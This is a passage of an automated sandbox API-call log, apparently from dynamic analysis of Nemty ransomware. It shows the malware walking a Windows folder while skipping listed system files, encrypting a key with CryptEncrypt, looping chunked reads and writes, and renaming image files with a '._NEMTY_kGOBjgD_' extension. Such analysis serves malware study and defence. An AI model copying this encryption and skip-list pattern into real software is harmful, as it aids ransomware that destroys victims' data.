lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0156.448] CloseHandle (hObject=0xffffffff) returned 0 [0156.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0156.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0156.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0156.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0156.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\38.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\38.png._nemty_kgobjgd_")) returned 0 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0156.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0156.449] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ae2aa4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ae2aa4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adfd2ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="39.png", cAlternateFileName="")) returned 1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2=".") returned 1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="..") returned 1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="...") returned 1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="windows") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="$RECYCLE.BIN") returned 1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="rsa") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="NTDETECT.COM") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="ntldr") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="MSDOS.SYS") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="IO.SYS") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="boot.ini") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="boot.ini") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="AUTOEXEC.BAT") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="ntuser.dat") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="desktop.ini") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="CONFIG.SYS") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="RECYCLER") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="BOOTSECT.BAK") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="bootmgr") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="programdata") returned -1 [0156.450] lstrcmpiW (lpString1="39.png", lpString2="appdata") returned -1 [0156.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.450] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="39.png", lpUsedDefaultChar=0x0) returned 6 [0156.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="39.png", lpUsedDefaultChar=0x0) returned 6 [0156.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="39.png", lpUsedDefaultChar=0x0) returned 6 [0156.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.451] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="39.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="39.png", lpUsedDefaultChar=0x0) returned 6 [0156.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0156.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0156.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0156.451] Sleep (dwMilliseconds=0x5) [0156.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10e863f0, dwHighDateTime=0x1d561e8)) [0156.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10e863f0, dwHighDateTime=0x1d561e8)) [0156.466] GetLastError () returned 0x5 [0156.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0156.466] GetLastError () returned 0x5 [0156.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0156.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0156.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.466] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0156.466] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0156.466] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0156.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0156.466] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="kOCPALgj8yuouvaEzrkzFIp1d/i90azKTxDzAEB3JokQQHCxopYoG/M6aL1Z+IZ6\r\nZS9tr2YaeMiEjtPcqjugXRVvTXqkiG13f/Jp/Xjhg8G4GeRt6trJy7OhqhfjMwcD\r\nQvXIsmSxncFFJLKrrxA+AARU/R1xWKnovEmebPpDxfD3wabTW91jb2oljNvJz+9e\r\nKSA8RyS808V6OKslZHXAFD+sxOvr1r1y1WqjrdPYTtdXTMyGcH1k2lpXmXurqwfk\r\ny6KmJuew93CCQjbCaTEpoPwNsWJ5QqksH2u7wAJVGqs3UdOBuOawHqBFEjA+uBuE\r\ncgVoFraDBM7tM8RUFjUaqA==\r\n", pcchString=0x653e91c) returned 1 [0156.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0156.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0156.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0156.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0156.466] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\39.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\39.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0156.467] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0156.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0156.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.495] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.495] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.542] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0156.573] CloseHandle (hObject=0xffffffff) returned 0 [0156.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0156.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0156.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0156.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0156.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0156.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: 